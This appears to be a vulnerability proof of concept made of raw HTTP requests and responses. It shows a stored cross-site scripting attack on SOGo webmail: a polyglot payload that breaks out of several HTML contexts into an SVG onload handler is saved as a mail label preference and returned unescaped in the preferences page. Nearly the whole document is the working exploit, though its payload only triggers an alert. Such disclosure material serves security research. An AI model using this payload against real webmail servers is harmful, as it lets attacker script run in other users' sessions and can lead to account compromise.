POST /SOGo/so/john@123.com/Preferences/save HTTP/1.1
Host: 192.168.2.96
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: application/json, text/plain, /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://192.168.2.96/
Content-Type: application/json;charset=utf-8
X-XSRF-TOKEN: ac1a2fd18ca6a5119b777957e01d6f71148f1317
Content-Length: 3866
Origin: http://192.168.2.96
DNT: 1
Sec-GPC: 1
Connection: keep-alive
...snip...

],"$label3":["Personal","#009900"],"$forwarded":["Forwarded","#B01FE3"],"label":["//</stYle/</titLe/</teXtarEa/</scRipt/--!>\\x3csVg/<sVg/oNloAd=alert(1111)//>\\x3e","#aaa"]},

GET /SOGo/so/john@123.com/Preferences HTTP/1.1
Host: 192.168.2.96
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Cookie: 0xHIGHFLYxSOGo=

HTTP/1.1 200 OK
Server: nginx
Date: Sun, 18 Aug 2024 09:52:15 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 132477
Connection: keep-alive
Strict-Transport-Security: max-age=15768000;
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
X-Robots-Tag: none
X-Download-Options: noopen
X-Frame-Options: SAMEORIGIN
X-Permitted-Cross-Domain-Policies: none
Referrer-Policy: strict-origin

...snip...
},"SOGoCalendarTasksDefaultClassification":"PUBLIC","SOGoPasswordRecoveryMode":"Disabled","SOGoCalendarDefaultReminder":"NONE","SOGoRefreshViewCheck":"manually","SOGoMailAutoSave":5,"SOGoMailLabelsColors":{"$label5":["Later", "#993399"],"$label2":["Work", "#FF9900"],"$label4":["To Do", "#3333FF"],"$label1":["Important", "#FF0000"],"label":["//</stYle/</titLe/</teXtarEa/</scRipt/--!>\\x3csVg/<sVg/oNloAd=alert(1111)//>\\x3e", "#aaa"],